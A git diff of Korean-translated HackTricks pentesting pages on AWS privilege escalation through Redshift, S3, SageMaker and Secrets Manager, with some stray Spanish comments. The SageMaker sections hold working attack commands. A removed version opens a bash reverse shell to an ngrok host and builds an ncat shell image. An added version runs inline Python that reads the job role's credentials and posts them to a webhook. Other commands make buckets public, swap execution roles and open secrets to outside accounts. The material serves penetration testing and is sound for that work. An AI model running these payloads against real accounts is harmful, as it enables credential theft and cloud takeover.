+``` +**잠재적 영향:** 데이터베이스 내부에서 민감한 정보를 찾을 수 있습니다. + +### `redshift:DescribeClusters`, `redshift:ModifyCluster?` + +aws cli에서 내부 postgres (redshit) 사용자에 대한 **마스터 비밀번호를 변경**할 수 있습니다 (이 권한들이 필요해 보이지만 아직 테스트해보지 않았습니다): +``` +aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; +``` +**잠재적 영향:** 데이터베이스 내부에서 민감한 정보를 찾을 수 있습니다. + +## 외부 서비스 접근 + +> [!WARNING] +> 다음의 모든 리소스에 접근하려면 **사용할 역할을 지정해야 합니다**. Redshift 클러스터는 **사용할 수 있는 AWS 역할 목록을 할당할 수 있으며** **ARN을 알고 있다면** 이를 사용할 수 있습니다. 또는 할당된 기본 역할을 사용하려면 "**default**"로 설정하면 됩니다. +> +> Moreover, as [**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift also allows to concat roles (as long as the first one can assume the second one) to get further access but just **구분**하여 **쉼표**로 연결하면 됩니다: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` + +### Lambdas + +As explained in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), **redshift에서 lambda 함수를 호출할 수 있습니다** 다음과 같이: +```sql +CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) +RETURNS INT +STABLE +LAMBDA 'lambda_function' +IAM_ROLE default; +``` +### S3 + +앞서 [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html)에 설명된 것처럼, **S3 버킷을 읽고 쓸 수 있습니다**: +```sql +# Read +copy table from 's3:///load/key_prefix' +credentials 'aws_iam_role=arn:aws:iam:::role/' +region '' +options; + +# Write +unload ('select * from venue') +to 's3://mybucket/tickit/unload/venue_' +iam_role default; +``` +### Dynamo + +[https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html)에 설명된 바와 같이, **dynamodb에서 데이터를 가져올 수 있습니다**: +```sql +copy favoritemovies +from 'dynamodb://ProductCatalog' +iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; +``` +> [!WARNING] +> 데이터 제공용 Amazon DynamoDB 테이블은 [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) 옵션을 사용하여 Amazon DynamoDB 테이블이 위치한 AWS Region을 지정하지 않는 한, 클러스터와 동일한 AWS Region에 생성되어야 합니다. + +### EMR + +참조 [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) + +## 참고자료 + +- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md similarity index 50% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md index 5552972af..e4b927f12 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md @@ -1,14 +1,14 @@ # AWS - S3 Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## S3 ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -흥미로운 버킷에 대한 이러한 권한을 가진 공격자는 리소스를 탈취하고 권한을 상승시킬 수 있습니다. +해당 권한을 흥미로운 버킷들에 대해 가진 공격자는 리소스를 탈취하고 권한을 상승시킬 수 있습니다. -예를 들어, "cf-templates-nohnwfax6a6i-us-east-1"라는 클라우드포메이션 버킷에 대한 **권한을 가진 공격자**는 배포를 탈취할 수 있습니다. 접근은 다음 정책으로 부여될 수 있습니다: +예를 들어, "cf-templates-nohnwfax6a6i-us-east-1"이라는 **cloudformation 버킷에 대한 권한**을 가진 공격자는 배포를 탈취할 수 있습니다. 접근 권한은 다음 정책으로 부여될 수 있습니다: ```json { "Version": "2012-10-17", @@ -34,38 +34,38 @@ ] } ``` -그리고 하이재킹은 **템플릿이 버킷에 업로드되는 순간부터** **템플릿이 배포되는 순간까지의 작은 시간 창** 때문에 가능합니다. 공격자는 자신의 계정에 **lambda function**을 생성하여 **버킷 알림이 전송될 때 트리거**되도록 하고, **버킷**의 **내용**을 **하이재킹**할 수 있습니다. +그리고 하이재킹은 템플릿이 버킷에 업로드되는 순간부터 템플릿이 배포되는 순간까지의 **짧은 시간 윈도우**가 있기 때문에 가능합니다. 공격자는 자신의 계정에 **lambda function**을 생성해 버킷 알림이 전송될 때 **트리거**되게 하고, 해당 **버킷**의 **content**를 **hijacks**할 수도 있습니다. ![](<../../../images/image (174).png>) -Pacu 모듈 [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection)을 사용하여 이 공격을 자동화할 수 있습니다.\ +Pacu 모듈 [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection)은 이 공격을 자동화하는 데 사용할 수 있습니다.\ 자세한 정보는 원본 연구를 확인하세요: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -이것들은 **S3에 객체를 가져오고 업로드하는** 권한입니다. AWS 내부(및 외부)의 여러 서비스가 **구성 파일**을 저장하기 위해 S3 스토리지를 사용합니다.\ -이들에 대한 **읽기 접근** 권한이 있는 공격자는 그 안에서 **민감한 정보**를 찾을 수 있습니다.\ -이들에 대한 **쓰기 접근** 권한이 있는 공격자는 **데이터를 수정하여 일부 서비스를 악용하고 권한을 상승시키려고 시도할 수 있습니다**.\ -다음은 몇 가지 예입니다: +이 권한들은 **S3에서 객체를 가져오고 업로드하는** 권한입니다. AWS 내부(및 외부)의 여러 서비스가 **config files**를 저장하기 위해 S3 스토리지를 사용합니다.\ +공격자가 이에 대한 **read access**를 갖고 있다면 민감한 정보를 찾을 수 있습니다.\ +공격자가 이에 대한 **write access**를 갖고 있다면 **데이터를 변경하여 일부 서비스를 악용하고 권한을 상승시킬 수 있습니다**.\ +몇 가지 예는 다음과 같습니다: -- EC2 인스턴스가 **S3 버킷에 사용자 데이터를 저장하고 있는 경우**, 공격자는 이를 수정하여 **EC2 인스턴스 내에서 임의의 코드를 실행**할 수 있습니다. +- 만약 EC2 인스턴스가 **user data를 S3 버킷에 저장**하고 있다면, 공격자는 이를 수정해 EC2 인스턴스 내부에서 **execute arbitrary code**를 수행하게 할 수 있습니다. -### `s3:PutObject`, `s3:GetObject` (선택 사항) terraform 상태 파일에 대한 +### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file -[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) 상태 파일이 클라우드 제공자의 블롭 스토리지에 저장되는 것은 매우 일반적입니다. 예를 들어 AWS S3. 상태 파일의 파일 접미사는 `.tfstate`이며, 버킷 이름은 종종 terraform 상태 파일을 포함하고 있음을 나타냅니다. 일반적으로 모든 AWS 계정에는 상태 파일을 저장하는 하나의 버킷이 있습니다. 이 버킷은 계정의 상태를 보여줍니다.\ -또한 일반적으로 실제 계정에서는 거의 모든 개발자가 `s3:*` 권한을 가지고 있으며, 때로는 비즈니스 사용자도 `s3:Put*` 권한을 가지고 있습니다. +[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state 파일들이 클라우드 제공자의 blob 스토리지(예: AWS S3)에 저장되는 경우가 매우 흔합니다. state 파일의 확장자는 `.tfstate`이고, 버킷 이름에서도 terraform state 파일을 담고 있다는 점을 쉽게 유추할 수 있습니다. 보통 모든 AWS 계정에는 계정 상태를 보여주는 state 파일을 저장하는 이런 버킷이 하나씩 있습니다. +또한 현실의 계정에서는 거의 항상 모든 개발자가 `s3:*` 권한을 가지고 있고, 때로는 비즈니스 사용자도 `s3:Put*` 권한을 가지고 있는 경우가 많습니다. -따라서 이러한 파일에 대해 나열된 권한이 있는 경우, `terraform`의 권한으로 파이프라인에서 RCE를 얻을 수 있는 공격 벡터가 있습니다. 대부분의 경우 `AdministratorAccess`로 클라우드 계정의 관리자가 됩니다. 또한 이 벡터를 사용하여 `terraform`이 합법적인 리소스를 삭제하도록 하여 서비스 거부 공격을 수행할 수 있습니다. +따라서 이러한 파일들에 대해 위에 나열된 권한을 가지고 있다면, `terraform`의 권한(대부분의 경우 `AdministratorAccess`)으로 파이프라인에서 RCE를 획득할 수 있는 공격 벡터가 존재합니다. 또한 이 벡터를 이용해 `terraform`이 정상 리소스를 삭제하게 하여 denial of service attack을 수행할 수도 있습니다. -직접 사용할 수 있는 익스플로잇 코드는 *Terraform Security* 페이지의 *Abusing Terraform State Files* 섹션의 설명을 따르세요: +직접 사용 가능한 익스플로잇 코드는 *Terraform Security* 페이지의 *Abusing Terraform State Files* 섹션 설명을 따르세요: {{#ref}} -../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files +../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files {{#endref}} ### `s3:PutBucketPolicy` -공격자는 **같은 계정에서** 있어야 하며, 그렇지 않으면 `The specified method is not allowed` 오류가 발생합니다. 이 권한을 가진 공격자는 자신에게 버킷에 대한 더 많은 권한을 부여하여 읽기, 쓰기, 수정, 삭제 및 버킷을 노출할 수 있습니다. +공격자는 **같은 계정에서 온 사용자여야** 합니다(그렇지 않으면 `The specified method is not allowed will trigger` 오류가 발생합니다). 이 권한을 통해 해당 버킷들에 대해 더 많은 권한을 자기 자신에게 부여할 수 있으며, 결과적으로 읽기, 쓰기, 수정, 삭제 및 버킷 노출 등이 가능해집니다. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -123,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -151,7 +151,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -공격자는 이러한 권한을 악용하여 버킷 내 특정 객체에 대한 더 많은 접근 권한을 부여받을 수 있습니다. +공격자는 이러한 권한을 악용해 특정 버킷 내 객체에 대한 접근 권한을 자신에게 더 부여할 수 있다. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -178,9 +178,9 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -이 권한을 가진 공격자는 특정 객체 버전에 Acl을 설정할 수 있을 것으로 예상됩니다. +이 권한을 가진 공격자는 특정 객체 버전에 Acl을 설정할 수 있어야 한다. ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md deleted file mode 100644 index 009a828b6..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ /dev/null @@ -1,106 +0,0 @@ -# AWS - Sagemaker Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## AWS - Sagemaker Privesc - - - -### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` - -IAM 역할을 사용하여 연결된 노트북을 생성하기 시작합니다: -```bash -aws sagemaker create-notebook-instance --notebook-instance-name example \ ---instance-type ml.t2.medium \ ---role-arn arn:aws:iam:::role/service-role/ -``` -응답에는 새로 생성된 노트북 인스턴스의 ARN을 포함하는 `NotebookInstanceArn` 필드가 포함되어야 합니다. 그런 다음 `create-presigned-notebook-instance-url` API를 사용하여 노트북 인스턴스가 준비되면 액세스하는 데 사용할 수 있는 URL을 생성할 수 있습니다: -```bash -aws sagemaker create-presigned-notebook-instance-url \ ---notebook-instance-name -``` -브라우저로 URL에 접속하고 오른쪽 상단의 \`Open JupyterLab\`을 클릭한 다음, “Launcher” 탭으로 스크롤하여 “Other” 섹션에서 “Terminal” 버튼을 클릭합니다. - -이제 IAM 역할의 메타데이터 자격 증명에 접근할 수 있습니다. - -**잠재적 영향:** 지정된 sagemaker 서비스 역할로의 권한 상승. - -### `sagemaker:CreatePresignedNotebookInstanceUrl` - -Jupyter **노트북이 이미 실행 중인 경우** `sagemaker:ListNotebookInstances`로 목록을 확인할 수 있습니다(또는 다른 방법으로 발견할 수 있습니다). **이들에 대한 URL을 생성하고, 접근하여 이전 기술에서 언급한 대로 자격 증명을 탈취할 수 있습니다.** -```bash -aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name -``` -**잠재적 영향:** 연결된 sagemaker 서비스 역할에 대한 권한 상승. - -### `sagemaker:CreateProcessingJob,iam:PassRole` - -해당 권한을 가진 공격자는 **sagemaker가 처리 작업을 실행**하도록 할 수 있습니다. 공격자는 **AWS 관리 ECS 계정 인스턴스**에서 실행될 컨테이너의 정의를 지정할 수 있으며, **연결된 IAM 역할의 자격 증명을 훔칠 수 있습니다.** -```bash -# I uploaded a python docker image to the ECR -aws sagemaker create-processing-job \ ---processing-job-name privescjob \ ---processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ ---app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ ---role-arn - -# In my tests it took 10min to receive the shell -curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds -``` -**잠재적 영향:** 지정된 sagemaker 서비스 역할로의 권한 상승. - -### `sagemaker:CreateTrainingJob`, `iam:PassRole` - -해당 권한을 가진 공격자는 훈련 작업을 생성할 수 있으며, **임의의 컨테이너를 실행**하고 **역할을 부착**할 수 있습니다. 따라서 공격자는 역할의 자격 증명을 훔칠 수 있습니다. - -> [!WARNING] -> 이 시나리오는 이전보다 악용하기 더 어렵습니다. 왜냐하면 공격자가 rev shell 또는 자격 증명을 직접 공격자에게 전송할 Docker 이미지를 생성해야 하기 때문입니다(훈련 작업의 구성에서 시작 명령을 지정할 수 없습니다). -> -> ```bash -> # 도커 이미지 생성 -> mkdir /tmp/rev -> ## 훈련 작업이 "train"이라는 실행 파일을 호출할 것임을 주의하세요 -> ## 그래서 rev shell을 /bin/train에 넣고 있습니다 -> ## 의 값을 설정하세요 -> cat > /tmp/rev/Dockerfile < FROM ubuntu -> RUN apt update && apt install -y ncat curl -> RUN printf '#!/bin/bash\nncat -e /bin/sh' > /bin/train -> RUN chmod +x /bin/train -> CMD ncat -e /bin/sh -> EOF -> -> cd /tmp/rev -> sudo docker build . -t reverseshell -> -> # ECR에 업로드 -> sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ -> sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest -> sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest -> ``` -```bash -# Create trainning job with the docker image created -aws sagemaker create-training-job \ ---training-job-name privescjob \ ---resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ ---algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ ---role-arn \ ---output-data-config '{"S3OutputPath": "s3://"}' \ ---stopping-condition '{"MaxRuntimeInSeconds": 600}' - -#To get the creds -curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer -``` -**잠재적 영향:** 지정된 sagemaker 서비스 역할로의 권한 상승. - -### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` - -해당 권한을 가진 공격자는 (잠재적으로) **하이퍼파라미터 훈련 작업**을 생성할 수 있으며, **임의의 컨테이너**를 실행하고 **연결된 역할**을 부여할 수 있습니다.\ -_시간 부족으로 인해 활용하지 않았지만, 이전의 익스플로잇과 유사해 보입니다. 익스플로잇 세부정보와 함께 PR을 보내주시면 좋겠습니다._ - -## 참조 - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md new file mode 100644 index 000000000..00598c7ba --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md @@ -0,0 +1,260 @@ +# AWS - Sagemaker Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## AWS - Sagemaker Privesc + +### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` + +액세스 권한이 연결된 IAM Role로 notebook을 생성하기 시작합니다: +```bash +aws sagemaker create-notebook-instance --notebook-instance-name example \ +--instance-type ml.t2.medium \ +--role-arn arn:aws:iam:::role/service-role/ +``` +응답에는 새로 생성된 노트북 인스턴스의 ARN을 포함하는 `NotebookInstanceArn` 필드가 포함되어야 합니다. 그런 다음 `create-presigned-notebook-instance-url` API를 사용해 노트북 인스턴스가 준비되면 접근할 수 있는 URL을 생성할 수 있습니다: +```bash +aws sagemaker create-presigned-notebook-instance-url \ +--notebook-instance-name +``` +브라우저로 해당 URL에 접속한 후 오른쪽 상단의 \`Open JupyterLab\`\`을 클릭하고, 아래로 스크롤해 “Launcher” 탭에서 “Other” 섹션 아래의 “Terminal” 버튼을 클릭하세요. + +이제 IAM Role의 메타데이터 자격 증명에 접근하는 것이 가능합니다. + +**잠재적 영향:** 지정된 sagemaker 서비스 역할로의 Privesc. + +### `sagemaker:CreatePresignedNotebookInstanceUrl` + +만약 Jupyter에서 **노트북이 이미 실행 중인 경우**이고 `sagemaker:ListNotebookInstances`로 이를 나열할 수 있거나(또는 다른 방법으로 발견할 수 있다면), 해당 인스턴스에 대해 **URL을 생성하고 접속하여 이전 기법에서 설명한 대로 자격증명을 탈취할 수 있습니다**. +```bash +aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name +``` +**잠재적 영향:** 연결된 sagemaker 서비스 역할에 대한 Privesc. + +### `sagemaker:CreateProcessingJob`, `iam:PassRole` + +해당 권한을 가진 공격자는 SageMaker 역할이 연결된 상태로 **SageMaker가 processing job을 실행**하도록 만들 수 있다. 이미 Python이 포함된 AWS Deep Learning Containers 중 하나를 재사용하고 (job을 URI와 동일한 리전에서 실행하면), 자체 이미지를 빌드하지 않고 인라인 코드로 실행할 수 있다: +```bash +REGION= +ROLE_ARN= +IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3 +ENV='{"W":"https://example.com/webhook"}' + +aws sagemaker create-processing-job \ +--processing-job-name privescjob \ +--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \ +--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \ +--environment "$ENV" \ +--role-arn $ROLE_ARN + +# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen. +``` +**Potential Impact:** 지정된 sagemaker 서비스 역할로의 Privesc. + +### `sagemaker:CreateTrainingJob`, `iam:PassRole` + +해당 권한을 가진 공격자는 지정된 역할로 임의의 코드를 실행하는 training job을 시작할 수 있다. 공식 SageMaker 컨테이너를 사용하고 entrypoint를 payload inline으로 덮어쓰면, 자체 이미지를 빌드할 필요가 없다: +```bash +REGION= +ROLE_ARN= +IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310 +ENV='{"W":"https://example.com/webhook"}' +OUTPUT_S3=s3:///training-output/ +# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3. + +aws sagemaker create-training-job \ +--training-job-name privesc-train \ +--role-arn $ROLE_ARN \ +--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \ +--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \ +--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \ +--stopping-condition '{"MaxRuntimeInSeconds":600}' \ +--environment "$ENV" + +# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol. +``` +**잠재적 영향:** 지정된 SageMaker 서비스 역할로의 Privesc. + +### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` + +해당 권한을 가진 공격자는 제공된 역할 하에서 공격자가 제어하는 코드를 실행하는 HyperParameter Tuning Job을 시작할 수 있습니다. Script mode는 페이로드를 S3에 호스팅해야 하지만, 모든 단계는 CLI에서 자동화할 수 있습니다: +```bash +REGION= +ROLE_ARN= +BUCKET=sm-hpo-privesc-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION + +# Allow public reads so any SageMaker role can pull the code +aws s3api put-public-access-block \ +--bucket $BUCKET \ +--public-access-block-configuration '{ +"BlockPublicAcls": false, +"IgnorePublicAcls": false, +"BlockPublicPolicy": false, +"RestrictPublicBuckets": false +}' + +aws s3api put-bucket-policy --bucket $BUCKET --policy "{ +\"Version\": \"2012-10-17\", +\"Statement\": [ +{ +\"Effect\": \"Allow\", +\"Principal\": \"*\", +\"Action\": \"s3:GetObject\", +\"Resource\": \"arn:aws:s3:::$BUCKET/*\" +} +] +}" + +cat <<'EOF' > /tmp/train.py +import os, time, urllib.request + +def main(): +meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI") +if not meta: +return +creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read() +req = urllib.request.Request( +"https://example.com/webhook", +data=creds, +headers={"Content-Type": "application/json"} +) +urllib.request.urlopen(req) +print("train:loss=0") +time.sleep(300) + +if __name__ == "__main__": +main() +EOF + +cd /tmp +tar -czf code.tar.gz train.py +aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read + +echo "dummy" > /tmp/input.txt +aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read + +IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310 +CODE_S3=s3://$BUCKET/code/train-code.tar.gz +TRAIN_INPUT_S3=s3://$BUCKET/input +OUTPUT_S3=s3://$BUCKET/output +# El rol necesita permisos ECR y escritura en el bucket. + +cat > /tmp/hpo-definition.json < + +# Choose a more-privileged role that already trusts sagemaker.amazonaws.com +ROLE_ARN=arn:aws:iam:::role/ + +# 2) Update the Studio profile to use the new role (no iam:PassRole) +aws sagemaker update-user-profile \ +--domain-id \ +--user-profile-name \ +--user-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-user-profile \ +--domain-id \ +--user-profile-name \ +--query 'UserSettings.ExecutionRole' --output text + +# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level +aws sagemaker update-space \ +--domain-id \ +--space-name \ +--space-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-space \ +--domain-id \ +--space-name \ +--query 'SpaceSettings.ExecutionRole' --output text + +# 4) Optionally, change the domain default so every profile inherits the new role +aws sagemaker update-domain \ +--domain-id \ +--default-user-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-domain \ +--domain-id \ +--query 'DefaultUserSettings.ExecutionRole' --output text + +# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role +aws sagemaker create-app \ +--domain-id \ +--user-profile-name \ +--app-type JupyterServer \ +--app-name js-atk + +# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run: +# aws sts get-caller-identity # should reflect the new ExecutionRole +aws sagemaker create-presigned-domain-url \ +--domain-id \ +--user-profile-name \ +--query AuthorizedUrl --output text +``` +**잠재적 영향**: 인터랙티브 Studio 세션에서 지정된 SageMaker 실행 역할의 권한으로 권한 상승. + + +## 참고자료 + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md deleted file mode 100644 index 302514926..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ /dev/null @@ -1,48 +0,0 @@ -# AWS - Secrets Manager Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Secrets Manager - -secrets manager에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### `secretsmanager:GetSecretValue` - -이 권한을 가진 attacker는 AWS **Secretsmanager**에 저장된 secret 내부의 **저장된 값**을 가져올 수 있습니다. -```bash -aws secretsmanager get-secret-value --secret-id # Get value -``` -**잠재적 영향:** AWS secrets manager 서비스 내의 민감한 데이터에 접근할 수 있음. - -> [!WARNING] -> 참고: `secretsmanager:BatchGetSecretValue` 권한만으로는 atatcker가 민감한 시크릿을 가져오기 위해 `secretsmanager:GetSecretValue`도 필요합니다. - -### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) - -이전 권한으로 **다른 principals/accounts(심지어 외부)**에게 **secret**에 접근 권한을 부여할 수 있습니다. KMS 키로 암호화된 **secrets를 읽기** 위해서는 사용자가 KMS 키에 대한 **접근 권한**도 필요합니다(자세한 내용은 [KMS Enum page](../aws-services/aws-kms-enum.md) 참고). -```bash -aws secretsmanager list-secrets -aws secretsmanager get-resource-policy --secret-id -aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json -``` -policy.json: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::root" -}, -"Action": "secretsmanager:GetSecretValue", -"Resource": "*" -} -] -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md new file mode 100644 index 000000000..bace99ae1 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md @@ -0,0 +1,48 @@ +# AWS - Secrets Manager Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +secrets manager에 대한 자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### `secretsmanager:GetSecretValue` + +이 permission을 가진 attacker는 AWS **Secretsmanager**에 저장된 **secret 내부의 저장된 값**을 얻을 수 있습니다. +```bash +aws secretsmanager get-secret-value --secret-id # Get value +``` +**잠재적 영향:** AWS secrets manager 서비스 내부의 고도로 민감한 데이터에 접근할 수 있음. + +> [!WARNING] +> 참고: `secretsmanager:BatchGetSecretValue` 권한이 있더라도 공격자는 민감한 비밀을 가져오기 위해 `secretsmanager:GetSecretValue` 권한도 필요합니다. + +### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) + +이전 권한으로는 **give access to other principals/accounts (even external)** 하여 **secret**에 접근할 수 있도록 만들 수 있습니다. KMS key로 암호화된 **secret**을 **read secrets encrypted**하려면 사용자가 **access over the KMS key**도 가지고 있어야 합니다 (more info in the [KMS Enum page](../../aws-services/aws-kms-enum.md)). +```bash +aws secretsmanager list-secrets +aws secretsmanager get-resource-policy --secret-id +aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json +``` +policy.json: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, 